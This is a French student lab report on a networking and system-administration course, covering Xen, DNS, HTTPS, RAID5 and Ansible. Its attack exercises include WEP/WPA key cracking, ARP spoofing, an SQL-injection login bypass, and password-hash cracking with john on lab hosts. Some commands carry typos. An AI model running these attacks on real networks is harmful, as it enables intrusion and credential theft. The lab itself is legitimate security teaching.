TP sysres IMA5sc 2020/2021 G11
Sébastien DARDENNE - Corto CALLERISA
Sommaire
- 1 Adressage
- 2 Mise en place de la machine virtuelle Xen
- 3 Configuration OSPF sur 9200
- 4 4.1 Serveur SSH
- 5 4.2 Serveur DNS
- 6 4.3 Sécurisation de site web par certificat
- 7 5.1
- 8 5.2 Cassage de clef WEP d’un point d’accès WiFi
- 9 5.3
- 10 5.4 Attaque "homme au milieu"
- 11 5.5 Intrusion sur un serveur d’application Web
- 12 6.1 Installation Raid5
- 13 7.1 Architecture de la ferme
- 14 7.2 Installation de docker
Adressage
Groupe | Domaine | Distribution | IP (privée) | IP (publique) | VLAN | IPV4 | IPV4 6509-E | IPV4 C9200 | IPV4 Routeur | IPV6 |
---|---|---|---|---|---|---|---|---|---|---|
Groupe 11 | stropharia.site | Debian 10 Buster | 100.64.0.18 | 193.48.57.178 | 311 | 10.60.111.0/24 | 10.60.111.1 | 10.60.111.2 | 10.60.111.254 | 2001:660:4401:60bd::0/64 |
Mise en place de la machine virtuelle Xen
Creation de la VM
Après nous être connecté sur le serveur capbreton.plil.fr, nous créons la machine virtuelle du TP avec la commande :
root@capbreton:~# xen-create-image --hostname=stropharia --password=****** --ip=100.64.0.18 --gateway=100.64.0.5 --netmask=255.255.255.0 --dir=/usr/local/xen --dist=buster
Cette commande spécifie les information de connexion à la VM ainsi que des informations réseau et la dernière version de Debian : Buster
Configuration OSPF sur 9200
router ospf 1 router-id 10.60.0.2 log-adjacency-changes summary-address 193.48.57.176 255.255.255.240 summary-address 100.60.0.0 255.240.0.0 not-advertise summary-address 10.0.0.0 255.0.0.0 not-advertise redistribute connected subnets redistribute static subnets route-map ospf network 192.168.222.8 0.0.0.7 area 2
Configuration LVM
Les disques de capbreton ont été initialisé pour l'utilisation avec LVM :
pvcreate /dev/sde pvcreate /dev/sdf
Ces disques sont ensuite rassemblés dans le volume groupe storage :
vgcreate storage /dev/sde /dev/sdf
On obtient bien un groupe de 5.46 Tb :
root@capbreton:~# vgdisplay storage --- Volume group --- VG Name storage System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 59 VG Access read/write VG Status resizable MAX LV 0 Cur LV 38 Open LV 37 Max PV 0 Cur PV 2 Act PV 2 VG Size <5.46 TiB PE Size 4.00 MiB Total PE 1430526 Alloc PE / Size 69632 / 272.00 GiB Free PE / Size 1360894 / 5.19 TiB VG UUID eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc
On crée alors deux volumes logiques de 10 Go qui nous servirons de /var et /home :
lvcreate -L10G -n stropharia-home storage lvcreate -L10G -n stropharia-var storage
Voici le résultat :
root@capbreton:~# lvdisplay | grep "stropharia" -A 15 LV Path /dev/storage/stropharia-home LV Name stropharia-home VG Name storage LV UUID ofMU3m-QoN1-pZcA-32Dp-HJBN-ZNAn-O3awlc LV Write Access read/write LV Creation host, time capbreton, 2020-10-12 17:40:11 +0200 LV Status available # open 1 LV Size 10.00 GiB Current LE 2560 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:18 --- Logical volume --- LV Path /dev/storage/stropharia-var LV Name stropharia-var VG Name storage LV UUID 8YAGLs-wD0c-6pSF-VEmC-wUfT-e9SI-8X9nFn LV Write Access read/write LV Creation host, time capbreton, 2020-10-12 17:40:15 +0200 LV Status available # open 1 LV Size 10.00 GiB Current LE 2560 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:19
Mise en place des partitions
On formate nos partitions au format ext4 :
mkfs.ext4 /dev/storage/stropharia-home mkfs.ext4 /dev/storage/stropharia-var
On note ces modifications dans /etc/xen/stropharia.cfg
disk = [ 'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w', 'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w', 'phy:/dev/storage/trompettedelamort1,xvda3,w', 'phy:/dev/storage/trompettedelamort2,xvda4,w' ]
On lance maintenant la VM et l'on s'y connecte :
xl create -c /etc/xen/stropharia.cfg xl console stropharia
Après avoir monté et peuplé les partitions, on ajoute dans /etc/fstab
/dev/xvda3 /home /ext4 default 0 2 /dev/xvda4 /var /ext4 default 0 2
pour que le montage des partitions soit fait automatiquement à chaque démarrage.
4.1 Serveur SSH
Afin de rendre accessible notre VM par SSH, nous décommentons la ligne
PermitRootLogin yes
du fichier sshd-config. On restart ensuite le service pour prendre en comte la modification avec la commande
sytemctl restart sshd
On test la connection :
$ ssh root@ns1.stropharia.site root@ns1.stropharia.site's password:
La connection ssh fonctionne donc. Update : On peut aussi se connecter en avec
ssh root@www.stropharia.site
4.2 Serveur DNS
Nous configurons d'abord nos paramètres DNS dans gandi avant de confgurer la VM.
Dans Glue Records nous ajoutons le namespace et son IP : ns1.stropharia.site / 193.48.57.178 Dans Name Server nous ajoutons ce DNS et le secondaire : ns1.stropharia.site | ns6.gandi.net
Nous allons utiliser l'implémentation open-source de DNS bind pour créer une association entre notre nom de domaine et l'IP de notre VM.
On commence par créer le fichier /etc/bind/db.stropharia.site
$include /etc/bind/stropharia.site.dnssec/stropharia.site-ksk.key $include /etc/bind/stropharia.site.dnssec/stropharia.site-zsk.key $TTL 604800 @ IN SOA ns1.stropharia.site. root.stropharia.site. ( 13 ; Serial 3600 ; Refresh [1h] 600 ; Retry [10mn] 86400 ; Expire [1d] 600 ) ; Negative Cache TTL [1h] ; @ IN NS ns1.stropharia.site. @ IN NS ns6.gandi.net. @ IN MX 42 ns1 ns1 IN A 193.48.57.178 www IN A 193.48.57.178 ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefb:8339 www IN AAAA 2001:660:4401:60b2:216:3eff:fefb:8339
Les parties mail et ipv6 font partie de la suite du TP, mais on peut voir les différents TTL pour le SOA (Start of Authority) ainsi que notre notre serveur de nom et l'adresse de l'hote.
Afin d'avoir une trace personnelle, un record dans le fichier de zone à la forme suivante :
Format: | host label | ttl | record class | record type | record data |
---|---|---|---|---|---|
Example: | example.com | 60 | IN | A | 104.255.228.125 |
Et les différentes record types sont :
- A (Host address)
- AAAA (IPv6 host address)
- ALIAS (Auto resolved alias)
- CNAME (Canonical name for an alias)
- MX (Mail eXchange)
- NS (Name Server)
- PTR (Pointer)
- SOA (Start Of Authority)
- SRV (location of service)
- TXT (Descriptive text)
On ajoute maintenant la zone dans le fichier /etc/bind/named.conf.local :
zone "stropharia.site" IN { type master; file "/etc/bind/db.stropharia.site.signed"; allow-transfer {217.70.177.40;}; };
(On utilise le fichier signé pour sécuriser l'accès https, fait par la suite)
On modifie également le fichier named.conf.options :
options { directory "/var/cache/bind"; dnssec-validation auto; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; dnssec-enable yes; }; acl "allowed_to_transfer" { 217.70.177.40/32; };
Afin d'autoriser le transfert des informations au DNS secondaire 217.70.177.40.
On test alors la configuration :
# host -t any stropharia.site ns6.gandi.net Using domain server: Name: ns6.gandi.net Address: 2001:4b98:d:1::40#53 Aliases: stropharia.site mail is handled by 42 ns1.stropharia.site. stropharia.site name server ns1.stropharia.site. stropharia.site name server ns6.gandi.net. stropharia.site has SOA record ns1.stropharia.site. root.stropharia.site. 13 3600 600 86400 600
On conclue que le DNS est fonctionne correctement.
4.3 Sécurisation de site web par certificat
Cette section décrit les étapes nécéssaire à la sécurisation par un accès https.
Procedure
Dans cette partie nous suivons la procédure détaillée de gandi : https://docs.gandi.net/fr/ssl/operations_courantes/csr.html.
Celle-ci consiste à générer les clés avec la commande
openssl req -nodes -newkey rsa:2048 -sha256 -keyout stropharia.site.key -out stropharia.site.csr
Et de demander à gandi de signer le certificat .csr afin d'obtenir le .crt. On note que le prix annoncé de 12€ passe à 0€ lors du paiement si c'est le premier.
Avant de délivrer le certificat signé gandi doit vérifier que nous possédons bien le nom de domaine. Pour cela une des méthodes possibles est d'envoyer un mail à admin@stropharia.site.
Configuration du serveur de mail pour la vérification
Nous utilisons le programme postfix pour la récupération des mails.
Après l'avoir installé nous ajoutons un un alias entre l'utilisateur admin et root afin de recevoir le mail de gandi sur un utilisateur existant.
#vi /etc/aliases # See man 5 aliases for format postmaster: root admin: root
Afin de recevoir les mails nous ajoutons aussi la ligne suivante au fichier /etc/bind/db.stropharia.site
@ IN MX 42 ns1
Pour l'agent de courriel nous utilsons Bsd-mailx :
apt-get install -y bsd-mailx #install mailx postalias /etc/aliases # met à jour la base des alias pour prendre en compte admin:root mailx #lancement de la commande pour voir les mails recus
On clique ensuite sur le lien et gandi et entrons le mot de passe de vérification reçu. Peut après on peut télécharger notre .crt ainsi que le fichier GandiStandardSSLCA2.pem.
Finalement on place ces fichiers à coté de notre clé privée dans le répertoire /etc/ssl
#ls /etc/ssl | less GandiStandardSSLCA2.pem certs openssl.cnf private stropharia.site.crt stropharia.site.key
Configuration d'apache2
Une fois le CSR signé nous devons configurer apache 2 pour gérer du HTTPS sur le port 443.
On commence par l'installer :
apt install apache2
puis on active le module ssl :
a2enmod ssl
On configure ensuite le fichier /etc/apache2/sites-enabled/000-default.conf pour rediriger le traffic http du port 80 vers le port 443 :
<VirtualHost *:80> ServerName www.stropharia.site Redirect / https://www.stropharia.site ServerAdmin webmaster@localhost DocumentRoot /var/www/html ... </VirtualHost>
et configurer les mots clés SSLCertificateKeyFile, SSLCertificateFile et SSLCertificateChainFile pour la connection sécurisé selon l'énoncé :
<VirtualHost _default_:443> ServerName www.stropharia.site DocumentRoot /var/www/html SSLEngine On SSLCertificateFile /etc/ssl/stropharia.site.crt SSLCertificateKeyFile /etc/ssl/stropharia.site.key SSLCertificateChainFile
/etc/ssl/GandiStandardSSLCA2.pem
SSLVerifyClient None </VirtualHost>
5.1
5.2 Cassage de clef WEP d’un point d’accès WiFi
Voir la liste des interfaces
airmon-ng
On passe notre interface en mode monitor
airmon-ng start wlx40a5efd2140c
On lance un scran des réseaux wifi
airmon-ng --encrypt wep wlan0mon
On capture les paquets
airdump-ng --write crack11 --channel 3 --bssid 04:DA:D2:9C:50:5A wlan0mon
On lance le crack de la clé
aircrack-ng -z crack11-01.cap
KEY FOUND! [F1:DE:D4:00:00:00:00:0F:FF:FF:FF:FF:FF ]
5.3
Voir la liste des interfaces
airmon-ng
On passe notre interface en mode monitor
airmon-ng start wlx40a5efd2140c
On regarde les réseaux pour avoir le BSSID
airodump-ng wlan0mon
On lance la commande capture sur le channel 5 et on attend le handshake
airodump-ng --write donnees -c 5 --bssid 00:14:1B:60:8C:2A
Pendant ce temps-là, nous créons le dictionnaire pour le brutforce
crunch 8 8 0123456789 > dictionnaire.txt
Pour gagner du temps, nous divisions ce dictionnaire en 4 parties
split -l 25000000 dictionnaire.txt dictionnairediv.txt
On lance le brutforce sur plusieurs machine
aircrack-ng -a2 -b 00:14:1B:60:8C:2A -w dictionnairediv#.txt donnees-01.cap
5.4 Attaque "homme au milieu"
Commande afin de voir les paquets entre la machine et le routeur
arpspoof -i eth0 -t 172.26.145.57 172.26.145.254
Ensuite, on peut visualiser les paquets reçu avec wireshark.
5.5 Intrusion sur un serveur d’application Web
Sur site honey.plil.info, on exploite la faille avec une injection SQL dans l'id et le mdp:
' OR 1 = 1 --
On constate qu'il y a un service SSH et un serveur apache avec la commande suivante:
nmap -T4 -A honey.plil.info
Avec l'utilisation des manuels on extrait le fichier de configuration phpmyadmin afin d'avoir les identifiants pour se connecter honey.plil.fr/phpmyadmin. Il est important de se connecter en root avec le même mdp.
Dans la BDD, on retrouve un compte d'un utilisateur ayant les droits sur la machine. On se connecte donc en SSH avec son compte et on extrait les fichier password et shadow.
Nous allons donc utiliser john pour trouver le mdp root. De plus, nous créons notre dictionnaire avec crunch et sed en utilisant l'indice du sujet.
Je lance donc la commande suivante:
john --wordlist=dictionnaire password.txt unshadow.txt > output.txt
Mdp trouvé et connexion en root(Groupe11):
6.1 Installation Raid5
Création des partitions sur capbreton
lvcreate -LG -n stropharia-part1 virtual lvcreate -LG -n stropharia-part2 virtual lvcreate -LG -n stropharia-part3 virtual
Modification du fichier stropharia.cfg
'phy:/dev/virtual/stropharia-part1,xvda5,w' 'phy:/dev/virtual/stropharia-part2,xvda6,w' 'phy:/dev/virtual/stropharia-part3,xvda7,w'
On recrée notre VM
xl destroy stropharia xl create -c /etc/xen/stropharia.cfg
Création des volumes et formatage
mdadm --create --verbose /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 mdadm --monitor --daemonise /dev/md0 mkds -t ext4 /dev/md0
Mount des partitions
mount /dev/md0 /mnt
Nous pouvons donc maintenant perdre un disque en gardant les données de la machine virtuelle.
7.1 Architecture de la ferme
Création d'un bridge dans les paramètres de la machine virtuelle stropharia.
Ajout d'une interface dans les 2 VM en modifiant /etc/network/interfaces.
Ajout de la mascarade
iptables -P FORWARD DROP iptables -A FORWARD -j ACCEPT -s 192.168.42.25 iptables -A FORWARD -j ACCEPT -d 192.168.42.25 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.25 --to 193.48.57.178
Création de la clef publique et commande pour la transmettre aux VM.
cat ~/.ssh/id_rsa.pub | ssh username@remote_host "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys"
Rôle motd (adriagalin.motd)
ansible-galaxy install adriagalin.motd
7.2 Installation de docker
Installation du rôle geerlingguy.docker
ansible-galaxy install geerlingguy.docker
Pour adapter le rôle à debian buster, il faut modifier les variables suivantes dans le playbook:
docker_apt_gpg_key: https://download.docker.com/linux/debian/gpg docker_apt_repository: deb [arch=amd64] https://download.docker.com/linux/debian buster stable
On peut donc lancer l'installation (uniquement sur stropharia)
ansible-playbook dockerplaybook